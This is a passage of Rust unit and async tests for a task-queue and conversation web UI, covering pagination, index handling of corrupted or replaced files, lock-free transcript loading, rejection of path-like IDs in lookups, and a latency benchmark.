25161 !page["rows"][0]["stuck_roots"]
25162 .as_array()
25163 .unwrap()
25164 .is_empty()
25165 );
25166 let cursor = page["next"].as_str().unwrap();
25167 let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
25168 .as_str()
25169 .unwrap();
25170 std::fs::remove_file(queue.path_of(last_id)).unwrap();
25172 let next = serde_json::to_value(
25173 queue_page(
25174 State(ui.clone()),
25175 Query(PageQuery {
25176 before: Some(cursor.into()),
25177 }),
25178 )
25179 .await
25180 .unwrap()
25181 .0,
25182 )
25183 .unwrap();
25184 assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
25185 assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
25186 let chats = serde_json::to_value(
25187 talks_page(
25188 State(ui.clone()),
25189 Query(PageQuery::default()),
25190 header::HeaderMap::new(),
25191 )
25192 .await
25193 .unwrap()
25194 .0,
25195 )
25196 .unwrap();
25197 assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
25198 assert!(chats["rows"][0].get("pending").is_none());
25199 assert!(chats["rows"][0].get("turn_bodies_md").is_none());
25200 let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
25201 assert_eq!(counts["held"], 1);
25202 assert_eq!(counts["blocked"], 1);
25203 assert_eq!(counts["queued"], 997);
25204 }
25205
25206 #[test]
25207 fn queue_index_observes_external_replacement_deletion_and_corruption() {
25208 let dir = tempfile::tempdir().unwrap();
25209 let ui = delta_test_ui(dir.path());
25210 let mut task = Task::new(
25211 "task".into(),
25212 "body".into(),
25213 PathBuf::from("/repo"),
25214 Source::Human,
25215 );
25216 task.runs = vec!["run-a".into()];
25217 ui.queue.put(&mut task).unwrap();
25218 assert!(ui.find_task_for_run("run-a").unwrap().is_some());
25219 task.runs = vec!["run-b".into()];
25220 let path = ui.queue.path_of(&task.id);
25221 let modified = path.metadata().unwrap().modified().unwrap();
25222 let replacement = path.with_extension("replacement");
25223 let bytes = serde_json::to_vec_pretty(&task).unwrap();
25224 assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
25225 std::fs::write(&replacement, &bytes).unwrap();
25226 std::fs::File::options()
25227 .write(true)
25228 .open(&replacement)
25229 .unwrap()
25230 .set_times(std::fs::FileTimes::new().set_modified(modified))
25231 .unwrap();
25232 std::fs::rename(&replacement, &path).unwrap();
25233 assert!(ui.find_task_for_run("run-a").unwrap().is_none());
25234 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
25235 std::fs::write(&path, "broken").unwrap();
25236 assert!(ui.find_task_for_run("run-b").is_err());
25237 std::fs::write(&path, bytes).unwrap();
25238 assert!(ui.find_task_for_run("run-b").unwrap().is_some());
25239 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
25240 assert!(ui.find_task_for_run("run-b").unwrap().is_none());
25241 }
25242
25243 #[tokio::test]
25244 async fn conversation_core_is_independent_of_unreadable_related_history() {
25245 let home = tempfile::tempdir().unwrap();
25246 let ui = delta_test_ui(home.path());
25247 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
25248 std::fs::create_dir_all(ui.queue.root()).unwrap();
25249 std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
25250 let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
25251 .await
25252 .unwrap();
25253 assert_eq!(core.talk.id, id);
25254 assert!(talk_sections(State(ui), Path(id)).await.is_ok());
25255 }
25256
25257 #[test]
25258 fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
25259 let home = tempfile::tempdir().unwrap();
25260 let ui = delta_test_ui(home.path());
25261 let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
25262 let directory = home.path().join("workers/jobs/abcdef");
25263 std::fs::create_dir_all(&directory).unwrap();
25264 let job = crate::worker::Job {
25265 id: "abcdef".into(),
25266 sequence: 1,
25267 kind: "chat".into(),
25268 key: id.clone(),
25269 payload: serde_json::json!({ "talk": id }),
25270 generation: "test".into(),
25271 version: None,
25272 status: crate::worker::Status::Running,
25273 result: None,
25274 pid: None,
25275 created_at: 0,
25276 finished_at: None,
25277 };
25278 std::fs::write(
25279 directory.join("job.json"),
25280 serde_json::to_vec(&job).unwrap(),
25281 )
25282 .unwrap();
25283 let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
25284 let store =
25285 crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
25286 let runtime = tokio::runtime::Builder::new_current_thread()
25287 .enable_all()
25288 .max_blocking_threads(1)
25289 .build()
25290 .unwrap();
25291 runtime.block_on(async {
25292 let (release, held) = std::sync::mpsc::channel();
25293 let (started, ready) = tokio::sync::oneshot::channel();
25294 let occupied = tokio::task::spawn_blocking(move || {
25295 started.send(()).unwrap();
25296 held.recv().unwrap();
25297 });
25298 ready.await.unwrap();
25299 let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
25300 let bulk = ui
25301 .monitor
25302 .bulk_slots
25303 .clone()
25304 .acquire_many_owned(2)
25305 .await
25306 .unwrap();
25307 let result = tokio::time::timeout(
25308 Duration::from_secs(2),
25309 talk_core(State(ui.clone()), Path(id.clone())),
25310 )
25311 .await;
25312 drop(store);
25314 drop(bulk);
25315 release.send(()).unwrap();
25316 occupied.await.unwrap();
25317 let _ = secondary.await.unwrap().unwrap();
25318 let Json(core) = result
25319 .expect("transcript must bypass secondary work and the worker store lock")
25320 .unwrap();
25321 assert!(
25322 core.thinking,
25323 "read-only observation retains live worker state"
25324 );
25325 assert_eq!(core.talk.id, id);
25326 let admission_ui = ui.clone();
25327 let (release, held) = std::sync::mpsc::channel();
25328 let (started, ready) = tokio::sync::oneshot::channel();
25329 let admission = std::thread::spawn(move || {
25330 let _lock = admission_ui.talk_turns.lock().unwrap();
25331 started.send(()).unwrap();
25332 held.recv().unwrap();
25333 });
25334 ready.await.unwrap();
25335 let result = tokio::time::timeout(
25336 Duration::from_secs(2),
25337 talk_core(State(ui.clone()), Path(id.clone())),
25338 )
25339 .await;
25340 release.send(()).unwrap();
25341 admission.join().unwrap();
25342 assert!(
25343 result
25344 .expect("display must not wait behind local admission")
25345 .unwrap()
25346 .0
25347 .thinking
25348 );
25349 assert!(ui.is_thinking(&id));
25350 assert!(ui.is_thinking_observed(&id));
25351 drop(live);
25352 assert!(
25353 !ui.is_thinking_observed(&id),
25354 "a finished lease no longer appears live"
25355 );
25356 assert!(!ui.is_thinking(&id));
25357 let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
25358 assert!(
25359 ui.is_thinking_observed(&id),
25360 "local admission remains visible"
25361 );
25362 });
25363 }
25364
25365 #[tokio::test]
25366 async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
25367 let home = tempfile::tempdir().unwrap();
25368 let ui = delta_test_ui(home.path());
25369 let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
25370 let mut task = Task::new(
25371 "Referenced task".into(),
25372 "Unrelated instruction history".repeat(1024),
25373 home.path().into(),
25374 Source::Human,
25375 );
25376 task.id = "20261019-000000-abcd".into();
25377 ui.queue.put(&mut task).unwrap();
25378 let mut conversation = ui.talks.get(&id).unwrap();
25379 conversation.turns.push(talk::Turn {
25380 sender: Some(talk::Sender::Persona),
25381 who: talk::Who::Agent,
25382 body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
25383 at: conversation.created_at,
25384 attachments: Vec::new(),
25385 usage: None,
25386 breaks: None,
25387 messages: Vec::new(),
25388 posted_by: None,
25389 });
25390 ui.talks.put(&mut conversation).unwrap();
25391
25392 let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
25393 let markdown = serde_json::to_value(&core.turn_bodies_md)
25394 .unwrap()
25395 .to_string();
25396 assert!(markdown.contains("\"strong\""));
25397 assert!(markdown.contains("\"table\""));
25398 assert!(markdown.contains("\"bullet_list\""));
25399 assert!(markdown.contains("\"code_block\""));
25400 assert!(!markdown.contains("\"internal_link\""));
25401 assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
25402 assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
25403 assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
25404
25405 let references = ui.references.for_talk(home.path(), &conversation);
25408 let mut decorated = core.turn_bodies_md[0].clone();
25409 references.markdown(&mut decorated);
25410 let decorated = serde_json::to_value(decorated).unwrap().to_string();
25411 assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
25412 assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
25413 assert_eq!(
25414 ui.talks.get(&conversation.id).unwrap().turns[0].body,
25415 conversation.turns[0].body
25416 );
25417 }
25418
25419 #[tokio::test]
25420 async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
25421 let home = tempfile::tempdir().unwrap();
25422 let ui = delta_test_ui(home.path());
25423 let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
25424 let mut run = RunState::new(
25425 PathBuf::from("/repo"),
25426 "main".into(),
25427 "01234567".into(),
25428 "Useful run".into(),
25429 Config::default(),
25430 );
25431 run.save_under(home.path()).unwrap();
25432 let mut task = Task::new(
25433 "Related".into(),
25434 "body".into(),
25435 PathBuf::from("/repo"),
25436 Source::Agent {
25437 run: talk_id.clone(),
25438 node: "chat".into(),
25439 },
25440 );
25441 task.runs = vec![run.id.clone()];
25442 ui.queue.put(&mut task).unwrap();
25443 std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
25444 assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
25445 assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
25446 assert!(
25447 run_detail(State(ui.clone()), Path(run.id.clone()))
25448 .await
25449 .is_ok()
25450 );
25451 assert!(
25452 talk_sections(State(ui.clone()), Path(talk_id.clone()))
25453 .await
25454 .is_ok()
25455 );
25456 std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
25458 assert!(ui.find_task_for_run(&run.id).is_err());
25459 assert!(ui.find_tasks_for_talk(&talk_id).is_err());
25460 ui.queue.put(&mut task).unwrap();
25461 assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
25462 }
25463
25464 #[tokio::test]
25465 async fn conversation_sections_omit_large_task_instructions() {
25466 let home = tempfile::tempdir().unwrap();
25467 let ui = delta_test_ui(home.path());
25468 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
25469 let mut task = Task::new(
25470 "filed task".into(),
25471 "large instruction ".repeat(65536),
25472 PathBuf::from("/repo"),
25473 Source::Agent {
25474 run: id.clone(),
25475 node: "chat".into(),
25476 },
25477 );
25478 ui.queue.put(&mut task).unwrap();
25479 let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
25480 assert_eq!(sections["tasks"][0]["id"], task.id);
25481 assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
25482 assert!(sections["tasks"][0].get("instruction").is_none());
25483 assert!(serde_json::to_vec(§ions).unwrap().len() < 8192);
25484 }
25485
25486 #[test]
25487 fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
25488 let home = tempfile::tempdir().unwrap();
25489 let talks = Talks::at(home.path().join("talks"));
25490 seed_talk_at(&talks, "20261019-000001-abcd", "open");
25491 seed_talk_at(&talks, "20261019-000002-abcd", "open");
25492 std::fs::write(home.path().join("outside.json"), "{}").unwrap();
25493 assert!(resolve_talk(&talks, "../outside").is_err());
25494 assert!(resolve_talk(&talks, "abcd").is_err());
25495 assert_eq!(
25496 resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
25497 "20261019-000001-abcd"
25498 );
25499 }
25500
25501 include!(concat!(
25502 env!("CARGO_MANIFEST_DIR"),
25503 "/tests/web_latency/baseline.rs"
25504 ));
25505
25506 include!(concat!(
25507 env!("CARGO_MANIFEST_DIR"),
25508 "/tests/web_latency/lists.rs"
25509 ));
25510
25511 #[tokio::test]
25512 #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
25513 async fn web_history_latency_measurement() {
25514 use std::time::Instant;
25515 let home = tempfile::tempdir().unwrap();
25516 let ui = delta_test_ui(home.path());
25517 let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
25518 let mut template = ui.talks.get(&id).unwrap();
25519 template.turns = serde_json::from_value(serde_json::json!([{
25520 "who": "operator", "body": "Show the accumulated work and its current status.",
25521 "at": Timestamp::now().to_string(),
25522 }]))
25523 .unwrap();
25524 std::fs::write(
25525 ui.talks.path_of(&id),
25526 serde_json::to_vec(&template).unwrap(),
25527 )
25528 .unwrap();
25529 let count = std::env::var("MAGI_BENCH_RECORDS")
25530 .ok()
25531 .and_then(|s| s.parse::<usize>().ok())
25532 .unwrap_or(1000);
25533 for i in 0..count {
25534 template.id = format!("20261019-{i:06}-history");
25535 template.pending = "history ".repeat(2048);
25536 std::fs::write(
25537 ui.talks.path_of(&template.id),
25538 serde_json::to_vec(&template).unwrap(),
25539 )
25540 .unwrap();
25541 let mut task = Task::new(
25542 "old task".into(),
25543 "instruction ".repeat(2048),
25544 PathBuf::from("/repo"),
25545 Source::Human,
25546 );
25547 task.id = format!("20261019-{i:06}-task");
25548 ui.queue.put(&mut task).unwrap();
25549 }
25550 for baseline in [true, false] {
25551 for clients in [1, 4] {
25552 let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
25553 let mut samples = Vec::new();
25554 for _ in 0..12 {
25555 let mut jobs = Vec::new();
25556 for _ in 0..clients {
25557 let ui = ui.clone();
25558 let id = id.clone();
25559 jobs.push(tokio::spawn(async move {
25560 let start = Instant::now();
25561 if baseline {
25562 let response =
25563 baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
25564 let elapsed = start.elapsed().as_secs_f64() * 1000.0;
25565 return (
25566 elapsed,
25567 elapsed,
25568 serde_json::to_vec(&response).unwrap().len(),
25569 );
25570 }
25571 let core = talk_core(State(ui.clone()), Path(id.clone()));
25572 let secondary = talk_sections(State(ui), Path(id));
25573 let (first, total) = tokio::join!(
25574 async {
25575 let value = core.await.unwrap().0;
25576 (
25577 start.elapsed().as_secs_f64() * 1000.0,
25578 serde_json::to_vec(&value).unwrap().len(),
25579 )
25580 },
25581 async {
25582 let value = secondary.await.unwrap().0;
25583 (
25584 start.elapsed().as_secs_f64() * 1000.0,
25585 serde_json::to_vec(&value).unwrap().len(),
25586 )
25587 }
25588 );
25589 (first.0, first.0.max(total.0), first.1 + total.1)
25590 }));
25591 }
25592 for job in jobs {
25593 samples.push(job.await.unwrap());
25594 }
25595 }
25596 let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
25597 let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
25598 first.sort_by(f64::total_cmp);
25599 total.sort_by(f64::total_cmp);
25600 let n = first.len();
25601 let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
25602 println!(
25603 "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
25604 first[n / 2],
25605 first[(n * 95 / 100).min(n - 1)],
25606 total[n / 2],
25607 total[(n * 95 / 100).min(n - 1)],
25608 samples[0].2
25609 );
25610 }
25611 }
25612 }
25613
25614 #[test]
25615 fn app_js_contains_progressive_rendering_and_decoupled_reports() {
25616 assert!(!APP_JS.contains("Promise.allSettled([\n getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
25618 assert!(APP_JS.contains("function nextRunRequest(id)"));
25619 assert!(APP_JS.contains("function runShell(id, summary)"));
25620 assert!(APP_JS.contains("function nextTaskRequest(id)"));
25621 assert!(APP_JS.contains("function taskShell(id, summary)"));
25622 assert!(APP_JS.contains("state.detail.reportLoading = false;"));
25623 }
25624}